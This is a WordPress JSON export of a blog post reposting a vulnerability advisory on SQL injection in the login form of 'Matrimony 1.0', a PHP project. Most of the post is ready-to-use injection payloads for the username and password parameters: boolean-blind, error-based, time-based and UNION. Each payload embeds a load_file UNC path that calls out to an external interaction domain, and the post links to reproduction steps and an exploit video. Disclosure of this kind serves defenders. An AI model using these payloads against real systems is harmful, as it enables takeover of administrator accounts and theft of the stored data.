{"id":21398,"date":"2022-03-07T20:49:33","date_gmt":"2022-03-07T17:49:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166212\/matrimony10-sql.txt"},"modified":"2022-03-08T09:06:26","modified_gmt":"2022-03-08T05:36:26","slug":"matrimony-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/matrimony-1-0-sql-injection\/","title":{"rendered":"Matrimony 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">## Title: Matrimony 1.0 SQLi<br \/>\n## Author: nu11secur1ty<br \/>\n## Date: 03.05.2022<br \/>\n## Vendor: https:\/\/www.vetbossel.in\/matrimony-project-php\/<br \/>\n## Software: https:\/\/cutt.ly\/LOHzKd0,<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"y2TBikdbkd\"><p><a href=\"https:\/\/www.vetbossel.in\/matrimony-project-php\/\" target=\"_blank\" rel=\"noopener\">Matrimony Project PHP<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Matrimony Project PHP&#8221; &#8212; VetBosSel\" src=\"https:\/\/www.vetbossel.in\/matrimony-project-php\/embed\/#?secret=LCLIdbGSH2#?secret=y2TBikdbkd\" data-secret=\"y2TBikdbkd\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><br \/>\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/vetbossel.in\/2022\/Matrimony<\/p>\n<p dir=\"ltr\">## Description:<br \/>\nThe password parameter appears to be vulnerable to SQL injection attacks.<br \/>\nThe payload &#8216;+(select<br \/>\nload_file(&#8216;\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https:\/\/www.vetbossel.in\/matrimony-project-php\/\\\\qou&#8217;))+&#8217;<br \/>\nwas submitted in the password parameter.<br \/>\nThis payload injects a SQL sub-query that calls MySQL&#8217;s load_file<br \/>\nfunction with a UNC file path that references a URL on an external<br \/>\ndomain.<br \/>\nThe application interacted with that domain, indicating that the<br \/>\ninjected SQL query was executed.<br \/>\nThe attacker can take administrator account control and also of all<br \/>\naccounts on this system,<br \/>\nalso the malicious user can download all information about this system.<\/p>\n<p dir=\"ltr\">Status: CRITICAL<\/p>\n<p dir=\"ltr\">[+] Payloads:<\/p>\n<p dir=\"ltr\">&#8220;`mysql<\/p>\n<p dir=\"ltr\">&#8212;<br \/>\nParameter: username (POST)<br \/>\nType: boolean-based blind<br \/>\nTitle: OR boolean-based blind &#8211; WHERE or HAVING clause<br \/>\nPayload: username=-5824&#8242; OR 4197=4197&#8211;<br \/>\njrsh&amp;password=i0C!o0b!U4&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https:\/\/www.vetbossel.in\/matrimony-project-php\/\\\\qou&#8217;))+&#8217;&amp;op=Log<br \/>\nin<\/p>\n<p dir=\"ltr\">Type: error-based<br \/>\nTitle: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or<br \/>\nGROUP BY clause (FLOOR)<br \/>\nPayload: username=VbMOEEMf&#8217; AND (SELECT 2589 FROM(SELECT<br \/>\nCOUNT(*),CONCAT(0x7178706b71,(SELECT<br \/>\n(ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM<br \/>\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&#8211;<br \/>\ngXFR&amp;password=i0C!o0b!U4&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https:\/\/www.vetbossel.in\/matrimony-project-php\/\\\\qou&#8217;))+&#8217;&amp;op=Log<br \/>\nin<\/p>\n<p dir=\"ltr\">Type: time-based blind<br \/>\nTitle: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>\nPayload: username=VbMOEEMf&#8217; AND (SELECT 4030 FROM<br \/>\n(SELECT(SLEEP(5)))ciQI)&#8211; nHot&amp;password=i0C!o0b!U4&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https:\/\/www.vetbossel.in\/matrimony-project-php\/\\\\qou&#8217;))+&#8217;&amp;op=Log<br \/>\nin<\/p>\n<p dir=\"ltr\">Type: UNION query<br \/>\nTitle: Generic UNION query (NULL) &#8211; 1 column<br \/>\nPayload: username=-4629&#8242; UNION ALL SELECT<br \/>\nCONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL&#8211;<br \/>\n-&amp;password=i0C!o0b!U4&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https:\/\/www.vetbossel.in\/matrimony-project-php\/\\\\qou&#8217;))+&#8217;&amp;op=Log<br \/>\nin<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<\/p>\n<p dir=\"ltr\">## Reproduce:<br \/>\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/vetbossel.in\/2022\/Matrimony)<\/p>\n<p dir=\"ltr\">## Proof and Exploit:<br \/>\n[href](https:\/\/streamable.com\/7gggih)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: Matrimony 1.0 SQLi ## Author: nu11secur1ty ## Date: 03.05.2022 ## Vendor: https:\/\/www.vetbossel.in\/matrimony-project-php\/ ## Software: https:\/\/cutt.ly\/LOHzKd0, Matrimony Project PHP ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/vetbossel.in\/2022\/Matrimony ## Description: The password parameter appears to be vulnerable to SQL injection attacks. The payload &#8216;+(select load_file(&#8216;\\\\\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https:\/\/www.vetbossel.in\/matrimony-project-php\/\\\\qou&#8217;))+&#8217; was submitted in the password parameter. This payload injects a SQL sub-query that calls MySQL&#8217;s &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21398","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21398","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21398"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21398\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21398"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21398"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21398"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}